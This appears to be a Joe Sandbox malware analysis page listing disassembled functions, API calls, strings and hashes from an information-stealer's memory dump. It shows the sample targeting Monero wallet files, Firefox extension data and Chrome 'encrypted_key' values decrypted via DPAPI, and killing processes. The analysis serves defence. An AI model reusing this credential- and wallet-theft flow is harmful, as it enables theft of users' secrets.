Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 8b965d01f272f1de6fb4a4a551615ee1f1f0047e241f8a6d1f12c0597f7526eb
Instruction ID: 7f83449a0e803c907e4ad6bfaa57fa6881e1b7e9c5a40fa007201f597ab5c66b
Opcode Fuzzy Hash: 8b965d01f272f1de6fb4a4a551615ee1f1f0047e241f8a6d1f12c0597f7526eb
Instruction Fuzzy Hash: 8DE1ED72850108AAEB48EBE4DC96EEE733AFF54304F50815DF51676091EF306A49CB6A

Function 0063D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

Part of subcall function 0064A9B0: lstrlen.KERNEL32(?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,00650E17), ref: 0064A905

Part of subcall function 00648B60: GetSystemTime.KERNEL32(00650E1A,0144B8B0,006505AE,?,?,006313F9,?,0000001A,00650E1A,00000000,?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 00648B86

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcat.KERNEL32(00000000), ref: 0064A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0063D481
lstrlen.KERNEL32(00000000), ref: 0063D698
lstrlen.KERNEL32(00000000), ref: 0063D6AC
DeleteFileA.KERNEL32(00000000), ref: 0063D72B

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 6efcf6b8c447623874603fbdf49eb4e1a4ee7e716074604aefb197d60a847fc2
Instruction ID: b0d0dc033fa269b3461bfef3027fe79bb4efa09fde6071cf0a3cc854794a1d0b
Opcode Fuzzy Hash: 6efcf6b8c447623874603fbdf49eb4e1a4ee7e716074604aefb197d60a847fc2
Instruction Fuzzy Hash: 89910172850108AAEB48FBE0DC96DEE733AFF54304F51456CF507A6091EF346A49CB6A

Function 0063D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

Part of subcall function 0064A9B0: lstrlen.KERNEL32(?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,00650E17), ref: 0064A905

Part of subcall function 00648B60: GetSystemTime.KERNEL32(00650E1A,0144B8B0,006505AE,?,?,006313F9,?,0000001A,00650E1A,00000000,?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 00648B86

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcat.KERNEL32(00000000), ref: 0064A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0063D801
lstrlen.KERNEL32(00000000), ref: 0063D99F
lstrlen.KERNEL32(00000000), ref: 0063D9B3
DeleteFileA.KERNEL32(00000000), ref: 0063DA32

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 702462ede763423fafe4d52fa792dbd16fd7ad7d8b08bc7fb2f07828d7e96c7c
Instruction ID: 5959b264d08407b8f15bbf15420adb6956d90cad42ee2810ce7c355b212ce356
Opcode Fuzzy Hash: 702462ede763423fafe4d52fa792dbd16fd7ad7d8b08bc7fb2f07828d7e96c7c
Instruction Fuzzy Hash: 10810072950104AAEB48FBE0DC96EEE733AFF54304F51452CF406A6091EF346A49CBA6

Function 0063F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Part of subcall function 006399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006399EC
Part of subcall function 006399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00639A11
Part of subcall function 006399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00639A31
Part of subcall function 006399C0: ReadFile.KERNEL32(000000FF,?,00000000,0063148F,00000000), ref: 00639A5A
Part of subcall function 006399C0: LocalFree.KERNEL32(0063148F), ref: 00639A90
Part of subcall function 006399C0: CloseHandle.KERNEL32(000000FF), ref: 00639A9A

Part of subcall function 00648E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00648E52

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

Part of subcall function 0064A9B0: lstrlen.KERNEL32(?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,00650E17), ref: 0064A905

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcat.KERNEL32(00000000), ref: 0064A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00651580,00650D92), ref: 0063F54C
lstrlen.KERNEL32(00000000), ref: 0063F56B

Strings

^userContextId=4294967295, xrefs: 0063F59C
moz-extension+++, xrefs: 0063F5AD

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: e699929599485fc60242b6d28880d44a6c7b37cd3b1d2de8450ded51cc72f3ac
Instruction ID: 751f91f26d3546047b748572e1a66ba990918fc2232dca2fa5161e5f8145d2ff
Opcode Fuzzy Hash: e699929599485fc60242b6d28880d44a6c7b37cd3b1d2de8450ded51cc72f3ac
Instruction Fuzzy Hash: 33513075D50108BAEB54FBE0DC96DED733AEF54300F40852CF806A7191EE34AA09CBA6

Function 00643560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 665dc1aa99e7ae3a1842d92b0c208709a9b13f7828a7050d556f188d4d5d12c7
Instruction ID: 6fac10ab2a284ce1db25d8c110793f3f86af2b6bee89ec286a0e2cda486d4c0a
Opcode Fuzzy Hash: 665dc1aa99e7ae3a1842d92b0c208709a9b13f7828a7050d556f188d4d5d12c7
Instruction Fuzzy Hash: 83416CB5D10209AFDB04EFE4D845AEEB776BF54304F008018E81676391EB74AA49CFA6

Function 00639CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

Part of subcall function 006399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006399EC
Part of subcall function 006399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00639A11
Part of subcall function 006399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00639A31
Part of subcall function 006399C0: ReadFile.KERNEL32(000000FF,?,00000000,0063148F,00000000), ref: 00639A5A
Part of subcall function 006399C0: LocalFree.KERNEL32(0063148F), ref: 00639A90
Part of subcall function 006399C0: CloseHandle.KERNEL32(000000FF), ref: 00639A9A

Part of subcall function 00648E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00648E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00639D39

Part of subcall function 00639AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nc,00000000,00000000), ref: 00639AEF
Part of subcall function 00639AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00634EEE,00000000,?), ref: 00639B01
Part of subcall function 00639AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nc,00000000,00000000), ref: 00639B2A
Part of subcall function 00639AC0: LocalFree.KERNEL32(?,?,?,?,00634EEE,00000000,?), ref: 00639B3F

Part of subcall function 00639B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00639B84
Part of subcall function 00639B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00639BA3
Part of subcall function 00639B60: LocalFree.KERNEL32(?), ref: 00639BD3

Strings

"encrypted_key":", xrefs: 00639D30
DPAPI, xrefs: 00639D89
, xrefs: 00639DC1

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 5a57b5532348a03af21992030c31357deeb9031e531b3f5491ed5499af62218a
Instruction ID: 5087af1566c39ee9e07b541c9321a543bfbd7ef59d92ffd713031116c5e1d63d
Opcode Fuzzy Hash: 5a57b5532348a03af21992030c31357deeb9031e531b3f5491ed5499af62218a
Instruction Fuzzy Hash: 93313EB6D10209ABCB04DBE4DC86AEFB7BAAF48304F144518E905A7241EB749A44CFA5

Function 006494D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 006494EB

Part of subcall function 00648D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0064951E,00000000), ref: 00648D5B
Part of subcall function 00648D50: RtlAllocateHeap.NTDLL(00000000), ref: 00648D62
Part of subcall function 00648D50: wsprintfW.USER32 ref: 00648D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 006495AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 006495C9
CloseHandle.KERNEL32(00000000), ref: 006495D6

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 8a2901f1ee831ebf57a5f70b07253192b9be48972c42035d88db43262ae85395
Instruction ID: 25bb92711604dbebda29ddbc115ae0a589a50c20dc3bf3b10e607af69e74ac21
Opcode Fuzzy Hash: 8a2901f1ee831ebf57a5f70b07253192b9be48972c42035d88db43262ae85395
Instruction Fuzzy Hash: B9312F71E40208AFDF18DFD0CD49BEEB779FB44701F204559E50AAB288DB749A85CB52

Function 00648680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,006505B7), ref: 006486CA
Process32First.KERNEL32(?,00000128), ref: 006486DE
Process32Next.KERNEL32(?,00000128), ref: 006486F3

Part of subcall function 0064A9B0: lstrlen.KERNEL32(?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,00650E17), ref: 0064A905

CloseHandle.KERNEL32(?), ref: 00648761

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 657adb20da4a0a9f5d2f3ad332848ba7e930ca8cf39f3b066848c0876b1558d8
Instruction ID: 070480f9126f1f684258da8023bb9b1443f6021f2b86b5576a055c8144a5b231
Opcode Fuzzy Hash: 657adb20da4a0a9f5d2f3ad332848ba7e930ca8cf39f3b066848c0876b1558d8
Instruction Fuzzy Hash: 5B314D71941218AFDB68DF94CC55FEEB77AFB45700F10419DE50AA21A0DB306A85CFA1

Function 00647980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00650E00,00000000,?), ref: 006479B0
RtlAllocateHeap.NTDLL(00000000), ref: 006479B7
GetLocalTime.KERNEL32(?,?,?,?,?,00650E00,00000000,?), ref: 006479C4
wsprintfA.USER32 ref: 006479F3

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 814e500ac271a7a597c3050c96dcedac6177065febab67ea77c03afcfdc8acd1
Instruction ID: 2ee3cb7d15c77bead6fa3e51ebe63f9c9c309de41a184d8b9191695e9922d58a
Opcode Fuzzy Hash: 814e500ac271a7a597c3050c96dcedac6177065febab67ea77c03afcfdc8acd1
Instruction Fuzzy Hash: 01112AB2904118ABCB14DFC9DD49BBEB7F8FB4CB11F14425AF605A2284D3399940C7B1

Function 0064C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0064C74E

Part of subcall function 0064BF9F: __amsg_exit.LIBCMT ref: 0064BFAF

__getptd.LIBCMT ref: 0064C765
__amsg_exit.LIBCMT ref: 0064C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0064C797

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

